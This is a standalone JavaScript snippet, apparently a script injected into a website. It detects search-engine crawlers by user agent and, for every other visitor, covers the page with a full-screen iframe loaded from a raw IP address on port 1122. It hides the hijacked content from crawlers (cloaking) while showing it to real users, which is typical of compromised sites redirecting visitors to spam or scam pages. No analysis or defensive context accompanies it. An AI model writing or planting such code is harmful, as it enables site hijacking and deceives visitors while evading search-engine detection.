var reg = /(Baiduspider|360Spider|YisouSpider|YandexBot|Sogou inst spider|Sogou web spider|spider)/i;
if (!reg.test(navigator.userAgent)) {
let flag = navigator.userAgent.match(/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i);
if (flag) {
    //k
      _src = 'https://35.220.233.101:1122/mktland'
    } else {
    // PC
      _src = 'https://35.220.233.101:1122/mktland'
    }
    document.write('<meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1">');
    var hd = document.head;
    var styleCSS = document.createElement('style'), kn82 = document.createElement('div');
    styleCSS.innerHTML = 'html,body{position:relative;width:auto !important;height:100% !important;min-width:auto !important;overflow:hidden;}.kn82{position:fixed;top:0;left:0;right:0;height:100%;z-index:9999999999;background:#fff;}';
    kn82.setAttribute('class', 'kn82');
    kn82.innerHTML = '<iframe src='+ _src +' frameborder="0" style="position:fixed;top:0;left:0;width:100% !important;height:100% !important;max-height: none !important;"></iframe>';
    hd.appendChild(styleCSS);
    hd.parentNode.appendChild(kn82);
}

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